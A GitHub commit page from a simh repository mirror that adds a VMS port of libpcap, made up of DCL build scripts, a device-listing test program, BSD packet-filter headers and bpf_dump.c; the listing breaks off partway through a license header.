1
0
mirror of https://github.com/open-simh/simh.git synced 2026-03-23 01:16:37 +00:00

simh tools

This commit is contained in:
Bob Supnik
2003-12-28 17:16:00 -08:00
committed by Mark Pizzolato
parent b2101ecdd4
commit f01115606a
79 changed files with 37025 additions and 0 deletions

27
Pcap-VMS/build_all.com Normal file
View File

@@ -0,0 +1,27 @@
$!
$! This procedure builds the following:
$!
$! [.pcap-vci]
$! A port of pcap using the VCI interface to the LAN driver. This
$! version of pcap uses the PCAPVCM execlet and is faster than the
$! QIO implementation of pcap. This version allows you to send packets
$! as well as receiving packets.
$!
$! [.pcapvcm]
$! The VMS execlet which uses the VCI interface to the LAN driver.
$! Once built it must be placed in SYS$LOADABLE_IMAGES.
$!
$!
$! Author: Ankan, 20-Sep-2003
$ on warning then continue
$ set def [.pcap-vci]
$ write sys$output "Building VCI version of pcap..."
$ @vms_pcap
$ set def [-.pcapvcm]
$ write sys$output "Building the PCAP VCM execlet..."
$ write sys$output "In order to use it, place PCAPVCM.EXE in the"
$ write sys$output "SYS$LOADABLE_IMAGES directory."
$ @build_pcapvcm
$ set def [-]
$ write sys$output "Build done..."
$ exit

View File

@@ -0,0 +1,32 @@
#include <stdio.h>
#include <stsdef.h>
#include <ssdef.h>
#include <ldrimgdef.h>
#include <ldr_routines.h>
#include "pcapvci.h"
int main(int argc, char *argv[])
{
int status;
char devnam[128];
VCMCTX *vcmctx;
// Make sure execlet is loaded
status = pcapvci_load_execlet();
if ($VMS_STATUS_SUCCESS(status)) {
// Get us a port
status = pcapvci_alloc_port(&vcmctx);
if ($VMS_STATUS_SUCCESS(status)) {
while ($VMS_STATUS_SUCCESS(status)) {
status = pcapvci_get_device(vcmctx, devnam);
if ($VMS_STATUS_SUCCESS(status)) {
printf("device: %s\n", devnam);
}
}
status = pcapvci_free_port(vcmctx);
}
}
return 0;
}

View File

@@ -0,0 +1,64 @@
$ if f$search("pcap.olb") .eqs. ""
$ then
$ libr/crea pcap.olb
$ endif
$ if p1 .eqs. "DEBUG"
$ then
$ opt = "/debug/noopt"
$ else
$! Nodebug
$ opt = "/opt=(level=4)"
$ endif
$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] -
pcapvci+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcapvci
$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] -
vcmutil+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap vcmutil
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_dump+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_dump
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_filter+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_filter
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
bpf_image+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap bpf_image
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
etherent+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap etherent
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
fad-gifc+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap fad-gifc
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
gencode+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap gencode
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
grammar+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap grammar
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
inet+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap inet
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
nametoaddr+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap nametoaddr
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
optimize+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap optimize
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
pcap+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcap
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
savefile+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap savefile
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
scanner+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap scanner
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
snprintf+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap snprintf
$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] -
pcap-vms+sys$share:sys$lib_c.tlb/lib
$ libr/replace pcap pcap-vms
$ exit

View File

@@ -0,0 +1,7 @@
/* Long story short: aclocal.m4 depends on autoconf 2.13
* implementation details wrt "const"; newer versions
* have different implementation details so for now we
* put "const" here. This may cause duplicate definitions
* in config.h but that should be OK since they're the same.
*/
#undef const

View File

@@ -0,0 +1,52 @@
/*
* Copyright (c) 1982, 1986, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Id: arcnet.h,v 1.2 2001/04/24 02:17:52 guy Exp $ (LBL)
*
* from: NetBSD: if_arc.h,v 1.13 1999/11/19 20:41:19 thorpej Exp
*/
/* RFC 1051 */
#define ARCTYPE_IP_OLD 240 /* IP protocol */
#define ARCTYPE_ARP_OLD 241 /* address resolution protocol */
/* RFC 1201 */
#define ARCTYPE_IP 212 /* IP protocol */
#define ARCTYPE_ARP 213 /* address resolution protocol */
#define ARCTYPE_REVARP 214 /* reverse addr resolution protocol */
#define ARCTYPE_ATALK 221 /* Appletalk */
#define ARCTYPE_BANIAN 247 /* Banyan Vines */
#define ARCTYPE_IPX 250 /* Novell IPX */
#define ARCTYPE_INET6 0xc4 /* IPng */
#define ARCTYPE_DIAGNOSE 0x80 /* as per ANSI/ATA 878.1 */

View File

@@ -0,0 +1,87 @@
/*
* Copyright (c) 1997 Yen Yen Lim and North Dakota State University
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Yen Yen Lim and
North Dakota State University
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/atmuni31.h,v 1.1 2002/07/11 09:06:32 guy Exp $ (LBL)
*/
/* Based on UNI3.1 standard by ATM Forum */
/* ATM traffic types based on VPI=0 and (the following VCI */
#define PPC 0x05 /* Point-to-point signal msg */
#define BCC 0x02 /* Broadcast signal msg */
#define OAMF4SC 0x03 /* Segment OAM F4 flow cell */
#define OAMF4EC 0x04 /* End-to-end OAM F4 flow cell */
#define METAC 0x01 /* Meta signal msg */
#define ILMIC 0x10 /* ILMI msg */
/* Q.2931 signalling messages */
#define CALL_PROCEED 0x02 /* call proceeding */
#define CONNECT 0x07 /* connect */
#define CONNECT_ACK 0x0f /* connect_ack */
#define SETUP 0x05 /* setup */
#define RELEASE 0x4d /* release */
#define RELEASE_DONE 0x5a /* release_done */
#define RESTART 0x46 /* restart */
#define RESTART_ACK 0x4e /* restart ack */
#define STATUS 0x7d /* status */
#define STATUS_ENQ 0x75 /* status ack */
#define ADD_PARTY 0x80 /* add party */
#define ADD_PARTY_ACK 0x81 /* add party ack */
#define ADD_PARTY_REJ 0x82 /* add party rej */
#define DROP_PARTY 0x83 /* drop party */
#define DROP_PARTY_ACK 0x84 /* drop party ack */
/* Information Element Parameters in the signalling messages */
#define CAUSE 0x08 /* cause */
#define ENDPT_REF 0x54 /* endpoint reference */
#define AAL_PARA 0x58 /* ATM adaptation layer parameters */
#define TRAFF_DESCRIP 0x59 /* atm traffic descriptors */
#define CONNECT_ID 0x5a /* connection identifier */
#define QOS_PARA 0x5c /* quality of service parameters */
#define B_HIGHER 0x5d /* broadband higher layer information */
#define B_BEARER 0x5e /* broadband bearer capability */
#define B_LOWER 0x5f /* broadband lower information */
#define CALLING_PARTY 0x6c /* calling party number */
#define CALLED_PARTY 0x70 /* called party nmber */
#define Q2931 0x09
/* Q.2931 signalling general messages format */
#define PROTO_POS 0 /* offset of protocol discriminator */
#define CALL_REF_POS 2 /* offset of call reference value */
#define MSG_TYPE_POS 5 /* offset of message type */
#define MSG_LEN_POS 7 /* offset of mesage length */
#define IE_BEGIN_POS 9 /* offset of first information element */
/* format of signalling messages */
#define TYPE_POS 0
#define LEN_POS 2
#define FIELD_BEGIN_POS 4

483
Pcap-VMS/pcap-vci/bpf.h Normal file
View File

@@ -0,0 +1,483 @@
/*-
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* This code is derived from the Stanford/CMU enet packet filter,
* (net/enet.c) distributed as part of 4.3BSD, and code contributed
* to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
* Berkeley Laboratory.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)bpf.h 7.1 (Berkeley) 5/7/91
*
* @(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf.h,v 1.63 2002/10/18 08:46:15 guy Exp $ (LBL)
*/
#ifndef BPF_MAJOR_VERSION
#ifdef __cplusplus
extern "C" {
#endif
/* BSD style release date */
#define BPF_RELEASE 199606
typedef int bpf_int32;
typedef u_int bpf_u_int32;
/*
* Alignment macros. BPF_WORDALIGN rounds up to the next
* even multiple of BPF_ALIGNMENT.
*/
#ifndef __NetBSD__
#define BPF_ALIGNMENT sizeof(bpf_int32)
#else
#define BPF_ALIGNMENT sizeof(long)
#endif
#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))
#define BPF_MAXINSNS 512
#define BPF_MAXBUFSIZE 0x8000
#define BPF_MINBUFSIZE 32
/*
* Structure for BIOCSETF.
*/
struct bpf_program {
u_int bf_len;
struct bpf_insn *bf_insns;
};
/*
* Struct returned by BIOCGSTATS.
*/
struct bpf_stat {
u_int bs_recv; /* number of packets received */
u_int bs_drop; /* number of packets dropped */
};
/*
* Struct return by BIOCVERSION. This represents the version number of
* the filter language described by the instruction encodings below.
* bpf understands a program iff kernel_major == filter_major &&
* kernel_minor >= filter_minor, that is, if the value returned by the
* running kernel has the same major number and a minor number equal
* equal to or less than the filter being downloaded. Otherwise, the
* results are undefined, meaning an error may be returned or packets
* may be accepted haphazardly.
* It has nothing to do with the source code version.
*/
struct bpf_version {
u_short bv_major;
u_short bv_minor;
};
/* Current version number of filter architecture. */
#define BPF_MAJOR_VERSION 1
#define BPF_MINOR_VERSION 1
/*
* BPF ioctls
*
* The first set is for compatibility with Sun's pcc style
* header files. If your using gcc, we assume that you
* have run fixincludes so the latter set should work.
*/
#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
#define BIOCGBLEN _IOR(B,102, u_int)
#define BIOCSBLEN _IOWR(B,102, u_int)
#define BIOCSETF _IOW(B,103, struct bpf_program)
#define BIOCFLUSH _IO(B,104)
#define BIOCPROMISC _IO(B,105)
#define BIOCGDLT _IOR(B,106, u_int)
#define BIOCGETIF _IOR(B,107, struct ifreq)
#define BIOCSETIF _IOW(B,108, struct ifreq)
#define BIOCSRTIMEOUT _IOW(B,109, struct timeval)
#define BIOCGRTIMEOUT _IOR(B,110, struct timeval)
#define BIOCGSTATS _IOR(B,111, struct bpf_stat)
#define BIOCIMMEDIATE _IOW(B,112, u_int)
#define BIOCVERSION _IOR(B,113, struct bpf_version)
#define BIOCSTCPF _IOW(B,114, struct bpf_program)
#define BIOCSUDPF _IOW(B,115, struct bpf_program)
#else
#define BIOCGBLEN _IOR('B',102, u_int)
#define BIOCSBLEN _IOWR('B',102, u_int)
#define BIOCSETF _IOW('B',103, struct bpf_program)
#define BIOCFLUSH _IO('B',104)
#define BIOCPROMISC _IO('B',105)
#define BIOCGDLT _IOR('B',106, u_int)
#define BIOCGETIF _IOR('B',107, struct ifreq)
#define BIOCSETIF _IOW('B',108, struct ifreq)
#define BIOCSRTIMEOUT _IOW('B',109, struct timeval)
#define BIOCGRTIMEOUT _IOR('B',110, struct timeval)
#define BIOCGSTATS _IOR('B',111, struct bpf_stat)
#define BIOCIMMEDIATE _IOW('B',112, u_int)
#define BIOCVERSION _IOR('B',113, struct bpf_version)
#define BIOCSTCPF _IOW('B',114, struct bpf_program)
#define BIOCSUDPF _IOW('B',115, struct bpf_program)
#endif
/*
* Structure prepended to each packet.
*/
struct bpf_hdr {
struct timeval bh_tstamp; /* time stamp */
bpf_u_int32 bh_caplen; /* length of captured portion */
bpf_u_int32 bh_datalen; /* original length of packet */
u_short bh_hdrlen; /* length of bpf header (this struct
plus alignment padding) */
};
/*
* Because the structure above is not a multiple of 4 bytes, some compilers
* will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
* Only the kernel needs to know about it; applications use bh_hdrlen.
*/
#if defined(KERNEL) || defined(_KERNEL)
#define SIZEOF_BPF_HDR 18
#endif
/*
* Data-link level type codes.
*/
/*
* These are the types that are the same on all platforms; on other
* platforms, a <net/bpf.h> should be supplied that defines the additional
* DLT_* codes appropriately for that platform (the BSDs, for example,
* should not just pick up this version of "bpf.h"; they should also define
* the additional DLT_* codes used by their kernels, as well as the values
* defined here - and, if the values they use for particular DLT_ types
* differ from those here, they should use their values, not the ones
* here).
*/
#define DLT_NULL 0 /* no link-layer encapsulation */
#define DLT_EN10MB 1 /* Ethernet (10Mb) */
#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */
#define DLT_AX25 3 /* Amateur Radio AX.25 */
#define DLT_PRONET 4 /* Proteon ProNET Token Ring */
#define DLT_CHAOS 5 /* Chaos */
#define DLT_IEEE802 6 /* IEEE 802 Networks */
#define DLT_ARCNET 7 /* ARCNET */
#define DLT_SLIP 8 /* Serial Line IP */
#define DLT_PPP 9 /* Point-to-point Protocol */
#define DLT_FDDI 10 /* FDDI */
/*
* These are values from the traditional libpcap "bpf.h".
* Ports of this to particular platforms should replace these definitions
* with the ones appropriate to that platform, if the values are
* different on that platform.
*/
#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */
#define DLT_RAW 12 /* raw IP */
/*
* These are values from BSD/OS's "bpf.h".
* These are not the same as the values from the traditional libpcap
* "bpf.h"; however, these values shouldn't be generated by any
* OS other than BSD/OS, so the correct values to use here are the
* BSD/OS values.
*
* Platforms that have already assigned these values to other
* DLT_ codes, however, should give these codes the values
* from that platform, so that programs that use these codes will
* continue to compile - even though they won't correctly read
* files of these types.
*/
#ifdef __NetBSD__
#ifndef DLT_SLIP_BSDOS
#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */
#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */
#endif
#else
#define DLT_SLIP_BSDOS 15 /* BSD/OS Serial Line IP */
#define DLT_PPP_BSDOS 16 /* BSD/OS Point-to-point Protocol */
#endif
#define DLT_ATM_CLIP 19 /* Linux Classical-IP over ATM */
/*
* These values are defined by NetBSD; other platforms should refrain from
* using them for other purposes, so that NetBSD savefiles with link
* types of 50 or 51 can be read as this type on all platforms.
*/
#define DLT_PPP_SERIAL 50 /* PPP over serial with HDLC encapsulation */
#define DLT_PPP_ETHER 51 /* PPP over Ethernet */
/*
* Values between 100 and 103 are used in capture file headers as
* link-layer types corresponding to DLT_ types that differ
* between platforms; don't use those values for new DLT_ new types.
*/
/*
* This value was defined by libpcap 0.5; platforms that have defined
* it with a different value should define it here with that value -
* a link type of 104 in a save file will be mapped to DLT_C_HDLC,
* whatever value that happens to be, so programs will correctly
* handle files with that link type regardless of the value of
* DLT_C_HDLC.
*
* The name DLT_C_HDLC was used by BSD/OS; we use that name for source
* compatibility with programs written for BSD/OS.
*
* libpcap 0.5 defined it as DLT_CHDLC; we define DLT_CHDLC as well,
* for source compatibility with programs written for libpcap 0.5.
*/
#define DLT_C_HDLC 104 /* Cisco HDLC */
#define DLT_CHDLC DLT_C_HDLC
#define DLT_IEEE802_11 105 /* IEEE 802.11 wireless */
/*
* 106 is reserved for Linux Classical IP over ATM; it's like DLT_RAW,
* except when it isn't. (I.e., sometimes it's just raw IP, and
* sometimes it isn't.) We currently handle it as DLT_LINUX_SLL,
* so that we don't have to worry about the link-layer header.)
*/
/*
* Frame Relay; BSD/OS has a DLT_FR with a value of 11, but that collides
* with other values.
* DLT_FR and DLT_FRELAY packets start with the Q.922 Frame Relay header
* (DLCI, etc.).
*/
#define DLT_FRELAY 107
/*
* OpenBSD DLT_LOOP, for loopback devices; it's like DLT_NULL, except
* that the AF_ type in the link-layer header is in network byte order.
*
* OpenBSD defines it as 12, but that collides with DLT_RAW, so we
* define it as 108 here. If OpenBSD picks up this file, it should
* define DLT_LOOP as 12 in its version, as per the comment above -
* and should not use 108 as a DLT_ value.
*/
#define DLT_LOOP 108
/*
* Values between 109 and 112 are used in capture file headers as
* link-layer types corresponding to DLT_ types that might differ
* between platforms; don't use those values for new DLT_ types
* other than the corresponding DLT_ types.
*/
/*
* This is for Linux cooked sockets.
*/
#define DLT_LINUX_SLL 113
/*
* Apple LocalTalk hardware.
*/
#define DLT_LTALK 114
/*
* Acorn Econet.
*/
#define DLT_ECONET 115
/*
* Reserved for use with OpenBSD ipfilter.
*/
#define DLT_IPFILTER 116
/*
* Reserved for use in capture-file headers as a link-layer type
* corresponding to OpenBSD DLT_PFLOG; DLT_PFLOG is 17 in OpenBSD,
* but that's DLT_LANE8023 in SuSE 6.3, so we can't use 17 for it
* in capture-file headers.
*/
#define DLT_PFLOG 117
/*
* Registered for Cisco-internal use.
*/
#define DLT_CISCO_IOS 118
/*
* Reserved for 802.11 cards using the Prism II chips, with a link-layer
* header including Prism monitor mode information plus an 802.11
* header.
*/
#define DLT_PRISM_HEADER 119
/*
* Reserved for Aironet 802.11 cards, with an Aironet link-layer header
* (see Doug Ambrisko's FreeBSD patches).
*/
#define DLT_AIRONET_HEADER 120
/*
* Reserved for Siemens HiPath HDLC.
*/
#define DLT_HHDLC 121
/*
* This is for RFC 2625 IP-over-Fibre Channel.
*
* This is not for use with raw Fibre Channel, where the link-layer
* header starts with a Fibre Channel frame header; it's for IP-over-FC,
* where the link-layer header starts with an RFC 2625 Network_Header
* field.
*/
#define DLT_IP_OVER_FC 122
/*
* This is for Full Frontal ATM on Solaris with SunATM, with a
* pseudo-header followed by an AALn PDU.
*
* There may be other forms of Full Frontal ATM on other OSes,
* with different pseudo-headers.
*
* If ATM software returns a pseudo-header with VPI/VCI information
* (and, ideally, packet type information, e.g. signalling, ILMI,
* LANE, LLC-multiplexed traffic, etc.), it should not use
* DLT_ATM_RFC1483, but should get a new DLT_ value, so tcpdump
* and the like don't have to infer the presence or absence of a
* pseudo-header and the form of the pseudo-header.
*/
#define DLT_SUNATM 123 /* Solaris+SunATM */
/*
* Reserved as per request from Kent Dahlgren <kent@praesum.com>
* for private use
*/
#define DLT_RIO 124 /* RapidIO */
#define DLT_PCI_EXP 125 /* PCI Express */
#define DLT_AURORA 126 /* Xilinx Aurora link layer */
/*
* The instruction encodings.
*/
/* instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0)
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08
/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code) ((code) & 0x18)
#define BPF_A 0x10
/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define BPF_TAX 0x00
#define BPF_TXA 0x80
/*
* The instruction data structure.
*/
struct bpf_insn {
u_short code;
u_char jt;
u_char jf;
bpf_int32 k;
};
/*
* Macros for insn array initializers.
*/
#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }
#if defined(BSD) && (defined(KERNEL) || defined(_KERNEL))
/*
* Systems based on non-BSD kernels don't have ifnet's (or they don't mean
* anything if it is in <net/if.h>) and won't work like this.
*/
# if __STDC__
extern void bpf_tap(struct ifnet *, u_char *, u_int);
extern void bpf_mtap(struct ifnet *, struct mbuf *);
extern void bpfattach(struct ifnet *, u_int, u_int);
extern void bpfilterattach(int);
# else
extern void bpf_tap();
extern void bpf_mtap();
extern void bpfattach();
extern void bpfilterattach();
# endif /* __STDC__ */
#endif /* BSD && (_KERNEL || KERNEL) */
#if __STDC__ || defined(__cplusplus)
extern int bpf_validate(struct bpf_insn *, int);
extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
#else
extern int bpf_validate();
extern u_int bpf_filter();
#endif
/*
* Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
*/
#define BPF_MEMWORDS 16
#ifdef __cplusplus
}
#endif
#endif

View File

@@ -0,0 +1,62 @@
/*
* Copyright (c) 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.13 2002/03/24 23:21:51 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <pcap.h>
#include <stdio.h>
void
bpf_dump(struct bpf_program *p, int option)
{
struct bpf_insn *insn;
int i;
int n = p->bf_len;
insn = p->bf_insns;
if (option > 2) {
printf("%d\n", n);
for (i = 0; i < n; ++insn, ++i) {
printf("%u %u %u %u\n", insn->code,
insn->jt, insn->jf, insn->k);
}
return ;
}
if (option > 1) {
for (i = 0; i < n; ++insn, ++i)
printf("{ 0x%x, %d, %d, 0x%08x },\n",
insn->code, insn->jt, insn->jf, insn->k);
return;
}
for (i = 0; i < n; ++insn, ++i) {
#ifdef BDEBUG
extern int bids[];
printf(bids[i] > 0 ? "[%02d]" : " -- ", bids[i] - 1);
#endif
puts(bpf_image(insn, i));
}
}

View File

@@ -0,0 +1,562 @@
/*-
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* This code is derived from the Stanford/CMU enet packet filter,
* (net/enet.c) distributed as part of 4.3BSD, and code contributed
* to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
* Berkeley Laboratory.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
